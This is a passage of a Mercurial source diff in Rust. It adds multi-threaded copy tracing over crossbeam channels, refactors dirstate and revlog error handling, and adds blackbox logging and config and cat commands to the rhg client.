GIL. + /// This type allows separating the call an the use. + pub(super) struct PyBytesWithData { + #[allow(unused)] + keep_alive: PyBytes, + + /// Borrows the buffer inside `self.keep_alive`, + /// but the borrow-checker cannot express self-referential structs. + data: *const [u8], + } + + fn require_send() {} + + #[allow(unused)] + fn static_assert_pybytes_is_send() { + require_send::; + } + + // Safety: PyBytes is Send. Raw pointers are not by default, + // but here sending one to another thread is fine since we ensure it stays + // valid. + unsafe impl Send for PyBytesWithData {} + + impl PyBytesWithData { + pub fn new(py: Python, bytes: PyBytes) -> Self { + Self { + data: bytes.data(py), + keep_alive: bytes, + } + } + + pub fn data(&self) -> &[u8] { + // Safety: the raw pointer is valid as long as the PyBytes is still + // alive, and the returned slice borrows `self`. + unsafe { &*self.data } + } + + pub fn unwrap(self) -> PyBytes { + self.keep_alive + } + } +} + /// Combines copies information contained into revision `revs` to build a copy /// map. /// @@ -26,88 +76,135 @@ children_count: PyDict, target_rev: Revision, rev_info: PyObject, - is_ancestor: PyObject, + multi_thread: bool, ) -> PyResult { - let revs: PyResult<_> = - revs.iter(py).map(|r| Ok(r.extract(py)?)).collect(); - - // Wrap the `is_ancestor` python callback as a Rust closure - // - // No errors are expected from the Python side, and they will should only - // happens in case of programing error or severe data corruption. Such - // errors will raise panic and the rust-cpython harness will turn them into - // Python exception. - let is_ancestor_wrap = |anc: Revision, desc: Revision| -> bool { - is_ancestor - .call(py, (anc, desc), None) - .expect( - "rust-copy-tracing: python call to `is_ancestor` \ - failed", - ) - .cast_into::(py) - .expect( - "rust-copy-tracing: python call to `is_ancestor` \ - returned unexpected non-Bool value", - ) - .is_true() - }; - - // Wrap the `rev_info_maker` python callback as a Rust closure - // - // No errors are expected from the Python side, and they will should only - // happens in case of programing error or severe data corruption. Such - // errors will raise panic and the rust-cpython harness will turn them into - // Python exception. - let rev_info_maker: RevInfoMaker = - Box::new(|rev: Revision, d: &mut DataHolder| -> RevInfo { - let res: PyTuple = rev_info - .call(py, (rev,), None) - .expect("rust-copy-tracing: python call to `rev_info` failed") - .cast_into(py) - .expect( - "rust-copy_tracing: python call to `rev_info` returned \ - unexpected non-Tuple value", - ); - let p1 = res.get_item(py, 0).extract(py).expect( - "rust-copy-tracing: rev_info return is invalid, first item \ - is a not a revision", - ); - let p2 = res.get_item(py, 1).extract(py).expect( - "rust-copy-tracing: rev_info return is invalid, first item \ - is a not a revision", - ); - - let files = match res.get_item(py, 2).extract::(py) { - Ok(raw) => { - // Give responsability for the raw bytes lifetime to - // hg-core - d.data = Some(raw); - let addrs = d.data.as_ref().expect( - "rust-copy-tracing: failed to get a reference to the \ - raw bytes for copy data").data(py); - ChangedFiles::new(addrs) - } - // value was presumably None, meaning they was no copy data. - Err(_) => ChangedFiles::new_empty(), - }; - - (p1, p2, files) - }); - let children_count: PyResult<_> = children_count + let children_count = children_count .items(py) .iter() .map(|(k, v)| Ok((k.extract(py)?, v.extract(py)?))) - .collect(); + .collect::>()?; + + /// (Revision number, parent 1, parent 2, copy data for this revision) + type RevInfo = (Revision, Revision, Revision, Option); + + let revs_info = + revs.iter(py).map(|rev_py| -> PyResult> { + let rev = rev_py.extract(py)?; + let tuple: PyTuple = + rev_info.call(py, (rev_py,), None)?.cast_into(py)?; + let p1 = tuple.get_item(py, 0).extract(py)?; + let p2 = tuple.get_item(py, 1).extract(py)?; + let opt_bytes = tuple.get_item(py, 2).extract(py)?; + Ok((rev, p1, p2, opt_bytes)) + }); + + let path_copies; + if !multi_thread { + let mut combine_changeset_copies = + CombineChangesetCopies::new(children_count); + + for rev_info in revs_info { + let (rev, p1, p2, opt_bytes) = rev_info?; + let files = match &opt_bytes { + Some(bytes) => ChangedFiles::new(bytes.data(py)), + // Python None was extracted to Option::None, + // meaning there was no copy data. + None => ChangedFiles::new_empty(), + }; + + combine_changeset_copies.add_revision(rev, p1, p2, files) + } + path_copies = combine_changeset_copies.finish(target_rev) + } else { + // Use a bounded channel to provide back-pressure: + // if the child thread is slower to process revisions than this thread + // is to gather data for them, an unbounded channel would keep + // growing and eat memory. + // + // TODO: tweak the bound? + let (rev_info_sender, rev_info_receiver) = + crossbeam_channel::bounded::>(1000); + + // This channel (going the other way around) however is unbounded. + // If they were both bounded, there might potentially be deadlocks + // where both channels are full and both threads are waiting on each + // other. + let (pybytes_sender, pybytes_receiver) = + crossbeam_channel::unbounded(); - let res = combine_changeset_copies( - revs?, - children_count?, - target_rev, - rev_info_maker, - &is_ancestor_wrap, - ); + // Start a thread that does CPU-heavy processing in parallel with the + // loop below. + // + // If the parent thread panics, `rev_info_sender` will be dropped and + // “disconnected”. `rev_info_receiver` will be notified of this and + // exit its own loop. + let thread = std::thread::spawn(move || { + let mut combine_changeset_copies = + CombineChangesetCopies::new(children_count); + for (rev, p1, p2, opt_bytes) in rev_info_receiver { + let files = match &opt_bytes { + Some(raw) => ChangedFiles::new(raw.data()), + // Python None was extracted to Option::None, + // meaning there was no copy data. + None => ChangedFiles::new_empty(), + }; + combine_changeset_copies.add_revision(rev, p1, p2, files); + + // Send `PyBytes` back to the parent thread so the parent + // thread can drop it. Otherwise the GIL would be implicitly + // acquired here through `impl Drop for PyBytes`. + if let Some(bytes) = opt_bytes { + if let Err(_) = pybytes_sender.send(bytes.unwrap()) { + // The channel is disconnected, meaning the parent + // thread panicked or returned + // early through + // `?` to propagate a Python exception. + break; + } + } + } + + combine_changeset_copies.finish(target_rev) + }); + + for rev_info in revs_info { + let (rev, p1, p2, opt_bytes) = rev_info?; + let opt_bytes = opt_bytes.map(|b| PyBytesWithData::new(py, b)); + + // We’d prefer to avoid the child thread calling into Python code, + // but this avoids a potential deadlock on the GIL if it does: + py.allow_threads(|| { + rev_info_sender.send((rev, p1, p2, opt_bytes)).expect( + "combine_changeset_copies: channel is disconnected", + ); + }); + + // Drop anything in the channel, without blocking + for pybytes in pybytes_receiver.try_iter() { + pybytes.release_ref(py) + } + } + // We’d prefer to avoid the child thread calling into Python code, + // but this avoids a potential deadlock on the GIL if it does: + path_copies = py.allow_threads(|| { + // Disconnect the channel to signal the child thread to stop: + // the `for … in rev_info_receiver` loop will end. + drop(rev_info_sender); + + // Wait for the child thread to stop, and propagate any panic. + thread.join().unwrap_or_else(|panic_payload| { + std::panic::resume_unwind(panic_payload) + }) + }); + + // Drop anything left in the channel + for pybytes in pybytes_receiver.iter() { + pybytes.release_ref(py) + } + }; + let out = PyDict::new(py); - for (dest, source) in res.into_iter() { + for (dest, source) in path_copies.into_iter() { out.set_item( py, PyBytes::new(py, &dest.into_vec()), @@ -135,7 +232,7 @@ children: PyDict, target_rev: Revision, rev_info: PyObject, - is_ancestor: PyObject + multi_thread: bool ) ), )?; diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-cpython/src/dirstate.rs --- a/rust/hg-cpython/src/dirstate.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-cpython/src/dirstate.rs Tue Apr 20 11:01:06 2021 -0400 @@ -24,10 +24,7 @@ exc, PyBytes, PyDict, PyErr, PyList, PyModule, PyObject, PyResult, PySequence, Python, }; -use hg::{ - utils::hg_path::HgPathBuf, DirstateEntry, DirstateParseError, EntryState, - StateMap, -}; +use hg::{utils::hg_path::HgPathBuf, DirstateEntry, EntryState, StateMap}; use libc::{c_char, c_int}; use std::convert::TryFrom; @@ -79,11 +76,10 @@ .map(|(filename, stats)| { let stats = stats.extract::(py)?; let state = stats.get_item(py, 0)?.extract::(py)?; - let state = EntryState::try_from(state.data(py)[0]).map_err( - |e: DirstateParseError| { + let state = + EntryState::try_from(state.data(py)[0]).map_err(|e| { PyErr::new::(py, e.to_string()) - }, - )?; + })?; let mode = stats.get_item(py, 1)?.extract(py)?; let size = stats.get_item(py, 2)?.extract(py)?; let mtime = stats.get_item(py, 3)?.extract(py)?; diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-cpython/src/dirstate/dirs_multiset.rs --- a/rust/hg-cpython/src/dirstate/dirs_multiset.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-cpython/src/dirstate/dirs_multiset.rs Tue Apr 20 11:01:06 2021 -0400 @@ -18,9 +18,9 @@ use crate::dirstate::extract_dirstate; use hg::{ + errors::HgError, utils::hg_path::{HgPath, HgPathBuf}, - DirsMultiset, DirsMultisetIter, DirstateMapError, DirstateParseError, - EntryState, + DirsMultiset, DirsMultisetIter, DirstateMapError, EntryState, }; py_class!(pub class Dirs |py| { @@ -38,7 +38,7 @@ skip_state = Some( skip.extract::(py)?.data(py)[0] .try_into() - .map_err(|e: DirstateParseError| { + .map_err(|e: HgError| { PyErr::new::(py, e.to_string()) })?, ); @@ -46,7 +46,7 @@ let inner = if let Ok(map) = map.cast_as::(py) { let dirstate = extract_dirstate(py, &map)?; DirsMultiset::from_dirstate(&dirstate, skip_state) - .map_err(|e| { + .map_err(|e: DirstateMapError| { PyErr::new::(py, e.to_string()) })? } else { diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-cpython/src/dirstate/dirstate_map.rs --- a/rust/hg-cpython/src/dirstate/dirstate_map.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-cpython/src/dirstate/dirstate_map.rs Tue Apr 20 11:01:06 2021 -0400 @@ -14,8 +14,8 @@ use cpython::{ exc, ObjectProtocol, PyBool, PyBytes, PyClone, PyDict, PyErr, PyList, - PyObject, PyResult, PyString, PyTuple, Python, PythonObject, ToPyObject, - UnsafePyLeaked, + PyObject, PyResult, PySet, PyString, PyTuple, Python, PythonObject, + ToPyObject, UnsafePyLeaked, }; use crate::{ @@ -24,12 +24,14 @@ NonNormalEntries, NonNormalEntriesIterator, }, dirstate::{dirs_multiset::Dirs, make_dirstate_tuple}, + parsers::dirstate_parents_to_pytuple, }; use hg::{ + errors::HgError, + revlog::Node, utils::hg_path::{HgPath, HgPathBuf}, DirsMultiset, DirstateEntry, DirstateMap as RustDirstateMap, - DirstateMapError, DirstateParents, DirstateParseError, EntryState, - StateMapIter, PARENT_SIZE, + DirstateMapError, DirstateParents, EntryState, StateMapIter, }; // TODO @@ -84,13 +86,13 @@ HgPath::new(f.extract::(py)?.data(py)), oldstate.extract::(py)?.data(py)[0] .try_into() - .map_err(|e: DirstateParseError| { + .map_err(|e: HgError| { PyErr::new::(py, e.to_string()) })?, DirstateEntry { state: state.extract::(py)?.data(py)[0] .try_into() - .map_err(|e: DirstateParseError| { + .map_err(|e: HgError| { PyErr::new::(py, e.to_string()) })?, mode: mode.extract(py)?, @@ -113,7 +115,7 @@ HgPath::new(f.extract::(py)?.data(py)), oldstate.extract::(py)?.data(py)[0] .try_into() - .map_err(|e: DirstateParseError| { + .map_err(|e: HgError| { PyErr::new::(py, e.to_string()) })?, size.extract(py)?, @@ -137,7 +139,7 @@ HgPath::new(f.extract::(py)?.data(py)), oldstate.extract::(py)?.data(py)[0] .try_into() - .map_err(|e: DirstateParseError| { + .map_err(|e: HgError| { PyErr::new::(py, e.to_string()) })?, ) @@ -173,18 +175,11 @@ let (_, other_parent) = inner_shared.get_non_normal_other_parent_entries(); - let locals = PyDict::new(py); - locals.set_item( - py, - "other_parent", - other_parent - .iter() - .map(|v| PyBytes::new(py, v.as_bytes())) - .collect::>() - .to_py_object(py), - )?; - - py.eval("set(other_parent)", None, Some(&locals)) + let set = PySet::empty(py)?; + for path in other_parent.iter() { + set.add(py, PyBytes::new(py, path.as_bytes()))?; + } + Ok(set.into_object()) } def non_normal_entries(&self) -> PyResult { @@ -285,10 +280,7 @@ def parents(&self, st: PyObject) -> PyResult { self.inner(py).borrow_mut() .parents(st.extract::(py)?.data(py)) - .and_then(|d| { - Ok((PyBytes::new(py, &d.p1), PyBytes::new(py, &d.p2)) - .to_py_object(py)) - }) + .map(|parents| dirstate_parents_to_pytuple(py, parents)) .or_else(|_| { Err(PyErr::new::( py, @@ -311,9 +303,8 @@ .read(st.extract::(py)?.data(py)) { Ok(Some(parents)) => Ok(Some( - (PyBytes::new(py, &parents.p1), PyBytes::new(py, &parents.p2)) - .to_py_object(py) - .into_object(), + dirstate_parents_to_pytuple(py, parents) + .into_object() )), Ok(None) => Ok(Some(py.None())), Err(_) => Err(PyErr::new::( @@ -549,14 +540,12 @@ ) -> Ref<'a, RustDirstateMap> { self.inner(py).borrow() } - #[cfg(not(feature = "dirstate-tree"))] fn translate_key( py: Python, res: (&HgPathBuf, &DirstateEntry), ) -> PyResult> { Ok(Some(PyBytes::new(py, res.0.as_bytes()))) } - #[cfg(not(feature = "dirstate-tree"))] fn translate_key_value( py: Python, res: (&HgPathBuf, &DirstateEntry), @@ -567,24 +556,6 @@ make_dirstate_tuple(py, &entry)?, ))) } - #[cfg(feature = "dirstate-tree")] - fn translate_key( - py: Python, - res: (HgPathBuf, DirstateEntry), - ) -> PyResult> { - Ok(Some(PyBytes::new(py, res.0.as_bytes()))) - } - #[cfg(feature = "dirstate-tree")] - fn translate_key_value( - py: Python, - res: (HgPathBuf, DirstateEntry), - ) -> PyResult> { - let (f, entry) = res; - Ok(Some(( - PyBytes::new(py, f.as_bytes()), - make_dirstate_tuple(py, &entry)?, - ))) - } } py_shared_iterator!( @@ -601,7 +572,7 @@ Option<(PyBytes, PyObject)> ); -fn extract_node_id(py: Python, obj: &PyObject) -> PyResult<[u8; PARENT_SIZE]> { +fn extract_node_id(py: Python, obj: &PyObject) -> PyResult { let bytes = obj.extract::(py)?; match bytes.data(py).try_into() { Ok(s) => Ok(s), diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-cpython/src/parsers.rs --- a/rust/hg-cpython/src/parsers.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-cpython/src/parsers.rs Tue Apr 20 11:01:06 2021 -0400 @@ -15,8 +15,7 @@ }; use hg::{ pack_dirstate, parse_dirstate, utils::hg_path::HgPathBuf, DirstateEntry, - DirstatePackError, DirstateParents, DirstateParseError, FastHashMap, - PARENT_SIZE, + DirstateParents, FastHashMap, PARENT_SIZE, }; use std::convert::TryInto; @@ -54,26 +53,9 @@ PyBytes::new(py, copy_path.as_bytes()), )?; } - Ok( - (PyBytes::new(py, &parents.p1), PyBytes::new(py, &parents.p2)) - .to_py_object(py), - ) + Ok(dirstate_parents_to_pytuple(py, parents)) } - Err(e) => Err(PyErr::new::( - py, - match e { - DirstateParseError::TooLittleData => { - "too little data for parents".to_string() - } - DirstateParseError::Overflow => { - "overflow in dirstate".to_string() - } - DirstateParseError::CorruptedEntry(e) => e, - DirstateParseError::Damaged => { - "dirstate appears to be damaged".to_string() - } - }, - )), + Err(e) => Err(PyErr::new::(py, e.to_string())), } } @@ -128,18 +110,9 @@ } Ok(PyBytes::new(py, &packed)) } - Err(error) => Err(PyErr::new::( - py, - match error { - DirstatePackError::CorruptedParent => { - "expected a 20-byte hash".to_string() - } - DirstatePackError::CorruptedEntry(e) => e, - DirstatePackError::BadSize(expected, actual) => { - format!("bad dirstate size: {} != {}", actual, expected) - } - }, - )), + Err(error) => { + Err(PyErr::new::(py, error.to_string())) + } } } @@ -179,3 +152,12 @@ Ok(m) } + +pub(crate) fn dirstate_parents_to_pytuple( + py: Python, + parents: &DirstateParents, +) -> PyTuple { + let p1 = PyBytes::new(py, parents.p1.as_bytes()); + let p2 = PyBytes::new(py, parents.p2.as_bytes()); + (p1, p2).to_py_object(py) +} diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-cpython/src/revlog.rs --- a/rust/hg-cpython/src/revlog.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-cpython/src/revlog.rs Tue Apr 20 11:01:06 2021 -0400 @@ -12,13 +12,13 @@ use cpython::{ buffer::{Element, PyBuffer}, exc::{IndexError, ValueError}, - ObjectProtocol, PyBytes, PyClone, PyDict, PyErr, PyModule, PyObject, - PyResult, PyString, PyTuple, Python, PythonObject, ToPyObject, + ObjectProtocol, PyBytes, PyClone, PyDict, PyErr, PyInt, PyModule, + PyObject, PyResult, PyString, PyTuple, Python, PythonObject, ToPyObject, }; use hg::{ nodemap::{Block, NodeMapError, NodeTree}, - revlog::{nodemap::NodeMap, RevlogIndex}, - NodeError, Revision, + revlog::{nodemap::NodeMap, NodePrefix, RevlogIndex}, + Revision, }; use std::cell::RefCell; @@ -64,7 +64,7 @@ let nt = opt.as_ref().unwrap(); let idx = &*self.cindex(py).borrow(); let node = node_from_py_bytes(py, &node)?; - nt.find_bin(idx, (&node).into()).map_err(|e| nodemap_error(py, e)) + nt.find_bin(idx, node.into()).map_err(|e| nodemap_error(py, e)) } /// same as `get_rev()` but raises a bare `error.RevlogError` if node @@ -107,7 +107,9 @@ String::from_utf8_lossy(node.data(py)).to_string() }; - nt.find_hex(idx, &node_as_string) + let prefix = NodePrefix::from_hex(&node_as_string).map_err(|_| PyErr::new::(py, "Invalid node or prefix"))?; + + nt.find_bin(idx, prefix) // TODO make an inner API returning the node directly .map(|opt| opt.map( |rev| PyBytes::new(py, idx.node(rev).unwrap().as_bytes()))) @@ -283,6 +285,10 @@ self.inner_update_nodemap_data(py, docket, nm_data) } + @property + def entry_size(&self) -> PyResult { + self.cindex(py).borrow().inner().getattr(py, "entry_size")?.extract::(py) + } }); @@ -468,17 +474,9 @@ match err { NodeMapError::MultipleResults => revlog_error(py), NodeMapError::RevisionNotInIndex(r) => rev_not_in_index(py, r), - NodeMapError::InvalidNodePrefix(s) => invalid_node_prefix(py, &s), } } -fn invalid_node_prefix(py: Python, ne: &NodeError) -> PyErr { - PyErr::new::( - py, - format!("Invalid node or prefix: {:?}", ne), - ) -} - /// Create the module, with __package__ given from parent pub fn init_module(py: Python, package: &str) -> PyResult { let dotted_name = &format!("{}.revlog", package); diff -r bc268ea9f984 -r f67b8946bb1b rust/hgcli/README.md --- a/rust/hgcli/README.md Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hgcli/README.md Tue Apr 20 11:01:06 2021 -0400 @@ -32,7 +32,7 @@ Mercurial Distributed SCM (version 5.3.1+433-f99cd77d53dc+20200331) (see https://mercurial-scm.org for more information) - Copyright (C) 2005-2020 Matt Mackall and others + Copyright (C) 2005-2020 Olivia Mackall and others This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. diff -r bc268ea9f984 -r f67b8946bb1b rust/rhg/Cargo.toml --- a/rust/rhg/Cargo.toml Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/rhg/Cargo.toml Tue Apr 20 11:01:06 2021 -0400 @@ -9,8 +9,13 @@ [dependencies] hg-core = { path = "../hg-core"} +chrono = "0.4.19" clap = "2.33.1" +derive_more = "0.99" +lazy_static = "1.4.0" log = "0.4.11" micro-timer = "0.3.1" +regex = "1.3.9" env_logger = "0.7.1" -format-bytes = "0.1.3" +format-bytes = "0.2.1" +users = "0.11.0" diff -r bc268ea9f984 -r f67b8946bb1b rust/rhg/src/blackbox.rs --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/rust/rhg/src/blackbox.rs Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,163 @@ +//! Logging for repository events, including commands run in the repository. + +use crate::CliInvocation; +use format_bytes::format_bytes; +use hg::errors::HgError; +use hg::repo::Repo; +use hg::utils::{files::get_bytes_from_os_str, shell_quote}; + +const ONE_MEBIBYTE: u64 = 1 << 20; + +// TODO: somehow keep defaults in sync with `configitem` in `hgext/blackbox.py` +const DEFAULT_MAX_SIZE: u64 = ONE_MEBIBYTE; +const DEFAULT_MAX_FILES: u32 = 7; + +// Python does not support %.3f, only %f +const DEFAULT_DATE_FORMAT: &str = "%Y/%m/%d %H:%M:%S%.3f"; + +type DateTime = chrono::DateTime; + +pub struct ProcessStartTime { + /// For measuring duration + monotonic_clock: std::time::Instant, + /// For formatting with year, month, day, etc. + calendar_based: DateTime, +} + +impl ProcessStartTime { + pub fn now() -> Self { + Self { + monotonic_clock: std::time::Instant::now(), + calendar_based: chrono::Local::now(), + } + } +} + +pub struct Blackbox<'a> { + process_start_time: &'a ProcessStartTime, + /// Do nothing if this is `None` + configured: Option>, +} + +struct ConfiguredBlackbox<'a> { + repo: &'a Repo, + max_size: u64, + max_files: u32, + date_format: &'a str, +} + +impl<'a> Blackbox<'a> { + pub fn new( + invocation: &'a CliInvocation<'a>, + process_start_time: &'a ProcessStartTime, + ) -> Result { + let configured = if let Ok(repo) = invocation.repo { + if invocation.config.get(b"extensions", b"blackbox").is_none() { + // The extension is not enabled + None + } else { + Some(ConfiguredBlackbox { + repo, + max_size: invocation + .config + .get_byte_size(b"blackbox", b"maxsize")? + .unwrap_or(DEFAULT_MAX_SIZE), + max_files: invocation + .config + .get_u32(b"blackbox", b"maxfiles")? + .unwrap_or(DEFAULT_MAX_FILES), + date_format: invocation + .config + .get_str(b"blackbox", b"date-format")? + .unwrap_or(DEFAULT_DATE_FORMAT), + }) + } + } else { + // Without a local repository there’s no `.hg/blackbox.log` to + // write to. + None + }; + Ok(Self { + process_start_time, + configured, + }) + } + + pub fn log_command_start(&self) { + if let Some(configured) = &self.configured { + let message = format_bytes!(b"(rust) {}", format_cli_args()); + configured.log(&self.process_start_time.calendar_based, &message); + } + } + + pub fn log_command_end(&self, exit_code: i32) { + if let Some(configured) = &self.configured { + let now = chrono::Local::now(); + let duration = self + .process_start_time + .monotonic_clock + .elapsed() + .as_secs_f64(); + let message = format_bytes!( + b"(rust) {} exited {} after {} seconds", + format_cli_args(), + exit_code, + format_bytes::Utf8(format_args!("{:.03}", duration)) + ); + configured.log(&now, &message); + } + } +} + +impl ConfiguredBlackbox<'_> { + fn log(&self, date_time: &DateTime, message: &[u8]) { + let date = format_bytes::Utf8(date_time.format(self.date_format)); + let user = users::get_current_username().map(get_bytes_from_os_str); + let user = user.as_deref().unwrap_or(b"???"); + let rev = format_bytes::Utf8(match self.repo.dirstate_parents() { + Ok(parents) if parents.p2 == hg::revlog::node::NULL_NODE => { + format!("{:x}", parents.p1) + } + Ok(parents) => format!("{:x}+{:x}", parents.p1, parents.p2), + Err(_dirstate_corruption_error) => { + // TODO: log a non-fatal warning to stderr + "???".to_owned() + } + }); + let pid = std::process::id(); + let line = format_bytes!( + b"{} {} @{} ({})> {}\n", + date, + user, + rev, + pid, + message + ); + let result = + hg::logging::LogFile::new(self.repo.hg_vfs(), "blackbox.log") + .max_size(Some(self.max_size)) + .max_files(self.max_files) + .write(&line); + match result { + Ok(()) => {} + Err(_io_error) => { + // TODO: log a non-fatal warning to stderr + } + } + } +} + +fn format_cli_args() -> Vec { + let mut args = std::env::args_os(); + let _ = args.next(); // Skip the first (or zeroth) arg, the name of the `rhg` executable + let mut args = args.map(|arg| shell_quote(&get_bytes_from_os_str(arg))); + let mut formatted = Vec::new(); + if let Some(arg) = args.next() { + formatted.extend(arg) + } + for arg in args { + formatted.push(b' '); + formatted.extend(arg) + } + formatted +} diff -r bc268ea9f984 -r f67b8946bb1b rust/rhg/src/commands.rs --- a/rust/rhg/src/commands.rs Thu Mar 25 19:06:28 2021 -0400 +++ /dev/null Thu Jan 01 00:00:00 1970 +0000 @@ -1,14 +0,0 @@ -pub mod cat; -pub mod debugdata; -pub mod debugrequirements; -pub mod files; -pub mod root; -use crate::error::CommandError; -use crate::ui::Ui; - -/// The common trait for rhg commands -/// -/// Normalize the interface of the commands provided by rhg -pub trait Command { - fn run(&self, ui: &Ui) -> Result<(), CommandError>; -} diff -r bc268ea9f984 -r f67b8946bb1b rust/rhg/src/commands/cat.rs --- a/rust/rhg/src/commands/cat.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/rhg/src/commands/cat.rs Tue Apr 20 11:01:06 2021 -0400 @@ -1,9 +1,7 @@ -use crate::commands::Command; -use crate::error::{CommandError, CommandErrorKind}; -use crate::ui::utf8_to_local; -use crate::ui::Ui; -use hg::operations::{cat, CatRevError, CatRevErrorKind}; -use hg::repo::Repo; +use crate::error::CommandError; +use clap::Arg; +use format_bytes::format_bytes; +use hg::operations::cat; use hg::utils::hg_path::HgPathBuf; use micro_timer::timed; use std::convert::TryFrom; @@ -12,94 +10,75 @@ Output the current or given revision of files "; -pub struct CatCommand<'a> { - rev: Option<&'a str>, - files: Vec<&'a str>, -} - -impl<'a> CatCommand<'a> { - pub fn new(rev: Option<&'a str>, files: Vec<&'a str>) -> Self { - Self { rev, files } - } - - fn display(&self, ui: &Ui, data: &[u8]) -> Result<(), CommandError> { - ui.write_stdout(data)?; - Ok(()) - } -} - -impl<'a> Command for CatCommand<'a> { - #[timed] - fn run(&self, ui: &Ui) -> Result<(), CommandError> { - let repo = Repo::find()?; - repo.check_requirements()?; - let cwd = std::env::current_dir() - .or_else(|e| Err(CommandErrorKind::CurrentDirNotFound(e)))?; - - let mut files = vec![]; - for file in self.files.iter() { - let normalized = cwd.join(&file); - let stripped = normalized - .strip_prefix(&repo.working_directory_path()) - .or(Err(CommandErrorKind::Abort(None)))?; - let hg_file = HgPathBuf::try_from(stripped.to_path_buf()) - .or(Err(CommandErrorKind::Abort(None)))?; - files.push(hg_file); - } - - match self.rev { - Some(rev) => { - let data = cat(&repo, rev, &files) - .map_err(|e| map_rev_error(rev, e))?; - self.display(ui, &data) - } - None => Err(CommandErrorKind::Unimplemented.into()), - } - } +pub fn args() -> clap::App<'static, 'static> { + clap::SubCommand::with_name("cat") + .arg( + Arg::with_name("rev") + .help("search the repository as it is in REV") + .short("-r") + .long("--revision") + .value_name("REV") + .takes_value(true), + ) + .arg( + clap::Arg::with_name("files") + .required(true) + .multiple(true) + .empty_values(false) + .value_name("FILE") + .help("Activity to start: activity@category"), + ) + .about(HELP_TEXT) } -/// Convert `CatRevErrorKind` to `CommandError` -fn map_rev_error(rev: &str, err: CatRevError) -> CommandError { - CommandError { - kind: match err.kind { - CatRevErrorKind::IoError(err) => CommandErrorKind::Abort(Some( - utf8_to_local(&format!("abort: {}\n", err)).into(), - )), - CatRevErrorKind::InvalidRevision => CommandErrorKind::Abort(Some( - utf8_to_local(&format!( - "abort: invalid revision identifier {}\n", - rev - )) - .into(), - )), - CatRevErrorKind::AmbiguousPrefix => CommandErrorKind::Abort(Some( - utf8_to_local(&format!( - "abort: ambiguous revision identifier {}\n", - rev - )) - .into(), - )), - CatRevErrorKind::UnsuportedRevlogVersion(version) => { - CommandErrorKind::Abort(Some( - utf8_to_local(&format!( - "abort: unsupported revlog version {}\n", - version - )) - .into(), - )) +#[timed] +pub fn run(invocation: &crate::CliInvocation) -> Result<(), CommandError> { + let rev = invocation.subcommand_args.value_of("rev"); + let file_args = match invocation.subcommand_args.values_of("files") { + Some(files) => files.collect(), + None => vec![], + }; + + let repo = invocation.repo?; + let cwd = hg::utils::current_dir()?; + let working_directory = repo.working_directory_path(); + let working_directory = cwd.join(working_directory); // Make it absolute + + let mut files = vec![]; + for file in file_args.iter() { + // TODO: actually normalize `..` path segments etc? + let normalized = cwd.join(&file); + let stripped = normalized + .strip_prefix(&working_directory) + // TODO: error message for path arguments outside of the repo + .map_err(|_| CommandError::abort(""))?; + let hg_file = HgPathBuf::try_from(stripped.to_path_buf()) + .map_err(|e| CommandError::abort(e.to_string()))?; + files.push(hg_file); + } + + match rev { + Some(rev) => { + let output = cat(&repo, rev, &files).map_err(|e| (e, rev))?; + invocation.ui.write_stdout(&output.concatenated)?; + if !output.missing.is_empty() { + let short = format!("{:x}", output.node.short()).into_bytes(); + for path in &output.missing { + invocation.ui.write_stderr(&format_bytes!( + b"{}: no such file in rev {}\n", + path.as_bytes(), + short + ))?; + } } - CatRevErrorKind::CorruptedRevlog => CommandErrorKind::Abort(Some( - "abort: corrupted revlog\n".into(), - )), - CatRevErrorKind::UnknowRevlogDataFormat(format) => { - CommandErrorKind::Abort(Some( - utf8_to_local(&format!( - "abort: unknow revlog dataformat {:?}\n", - format - )) - .into(), - )) + if output.found_any { + Ok(()) + } else { + Err(CommandError::Unsuccessful) } - }, + } + None => Err(CommandError::unsupported( + "`rhg cat` without `--rev` / `-r`", + )), } } diff -r bc268ea9f984 -r f67b8946bb1b rust/rhg/src/commands/config.rs --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/rust/rhg/src/commands/config.rs Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,38 @@ +use crate::error::CommandError; +use clap::Arg; +use format_bytes::format_bytes; +use hg::errors::HgError; +use hg::utils::SliceExt; + +pub const HELP_TEXT: &str = " +With one argument of the form section.name, print just the value of that config item. +"; + +pub fn args() -> clap::App<'static, 'static> { + clap::SubCommand::with_name("config") + .arg( + Arg::with_name("name") + .help("the section.name to print") + .value_name("NAME") + .required(true) + .takes_value(true), + ) + .about(HELP_TEXT) +} + +pub fn run(invocation: &crate::CliInvocation) -> Result<(), CommandError> { + let (section, name) = invocation + .subcommand_args + .value_of("name") + .expect("missing required CLI argument") + .as_bytes() + .split_2(b'.') + .ok_or_else(|| HgError::unsupported("hg config

